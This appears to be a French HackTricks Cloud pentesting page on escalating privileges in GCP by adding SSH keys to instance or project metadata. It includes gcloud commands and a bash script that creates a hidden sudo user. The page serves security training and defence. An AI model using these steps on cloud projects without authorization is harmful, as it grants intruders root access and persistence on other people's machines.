GCP - Ajouter des métadonnées SSH personnalisées
Reading time: 6 minutes
GCP - Ajouter des métadonnées SSH personnalisées
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Modification des métadonnées
La modification des métadonnées sur une instance pourrait entraîner des risques de sécurité significatifs si un attaquant obtient les autorisations nécessaires.
Incorporation de clés SSH dans les métadonnées personnalisées
Sur GCP, les systèmes Linux exécutent souvent des scripts à partir de l'Environnement Invité Linux Python pour Google Compute Engine. Un composant critique de cela est le démon des comptes, qui est conçu pour vérifier régulièrement le point de terminaison des métadonnées de l'instance pour des mises à jour des clés publiques SSH autorisées.
Par conséquent, si un attaquant peut modifier les métadonnées personnalisées, il pourrait faire en sorte que le démon trouve une nouvelle clé publique, qui sera traitée et intégrée dans le système local. La clé sera ajoutée dans le fichier ~/.ssh/authorized_keys
d'un utilisateur existant ou potentiellement en créant un nouvel utilisateur avec des privilèges sudo
, selon le format de la clé. Et l'attaquant pourra compromettre l'hôte.
Ajouter une clé SSH à un utilisateur privilégié existant
- Examiner les clés SSH existantes sur l'instance :
- Exécutez la commande pour décrire l'instance et ses métadonnées afin de localiser les clés SSH existantes. La section pertinente dans la sortie sera sous
metadata
, spécifiquement la cléssh-keys
.
gcloud compute instances describe [INSTANCE] --zone [ZONE]
- Faites attention au format des clés SSH : le nom d'utilisateur précède la clé, séparé par un deux-points.
- Préparer un fichier texte pour les métadonnées de la clé SSH :
- Enregistrez les détails des noms d'utilisateur et de leurs clés SSH correspondantes dans un fichier texte nommé
meta.txt
. Cela est essentiel pour préserver les clés existantes tout en ajoutant de nouvelles.
- Générer une nouvelle clé SSH pour l'utilisateur cible (
alice
dans cet exemple) :
- Utilisez la commande
ssh-keygen
pour générer une nouvelle clé SSH, en veillant à ce que le champ de commentaire (-C
) corresponde au nom d'utilisateur cible.
ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
- Ajoutez la nouvelle clé publique à
meta.txt
, en imitant le format trouvé dans les métadonnées de l'instance.
- Mettre à jour les métadonnées de la clé SSH de l'instance :
- Appliquez les métadonnées de clé SSH mises à jour à l'instance en utilisant la commande
gcloud compute instances add-metadata
.
gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
- Accéder à l'instance en utilisant la nouvelle clé SSH :
- Connectez-vous à l'instance avec SSH en utilisant la nouvelle clé, accédant au shell dans le contexte de l'utilisateur cible (
alice
dans cet exemple).
ssh -i ./key alice@localhost
sudo id
Créer un nouvel utilisateur privilégié et ajouter une clé SSH
Si aucun utilisateur intéressant n'est trouvé, il est possible d'en créer un nouveau qui se verra attribuer des privilèges sudo
:
# define the new account username
NEWUSER="definitelynotahacker"
# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""
# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt
# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt
# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost
Clés SSH au niveau du projet
Il est possible d'élargir l'accès SSH à plusieurs machines virtuelles (VM) dans un environnement cloud en appliquant des clés SSH au niveau du projet. Cette approche permet l'accès SSH à toute instance au sein du projet qui n'a pas explicitement bloqué les clés SSH à l'échelle du projet. Voici un guide résumé :
- Appliquer des clés SSH au niveau du projet :
- Utilisez la commande
gcloud compute project-info add-metadata
pour ajouter des clés SSH à partir demeta.txt
aux métadonnées du projet. Cette action garantit que les clés SSH sont reconnues sur toutes les VM du projet, sauf si une VM a l'option "Bloquer les clés SSH à l'échelle du projet" activée.
gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
- SSH dans les instances en utilisant des clés à l'échelle du projet :
- Avec des clés SSH à l'échelle du projet en place, vous pouvez SSH dans n'importe quelle instance au sein du projet. Les instances qui ne bloquent pas les clés à l'échelle du projet accepteront la clé SSH, accordant l'accès.
- Une méthode directe pour SSH dans une instance consiste à utiliser la commande
gcloud compute ssh [INSTANCE]
. Cette commande utilise votre nom d'utilisateur actuel et les clés SSH définies au niveau du projet pour tenter d'accéder.
Références
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.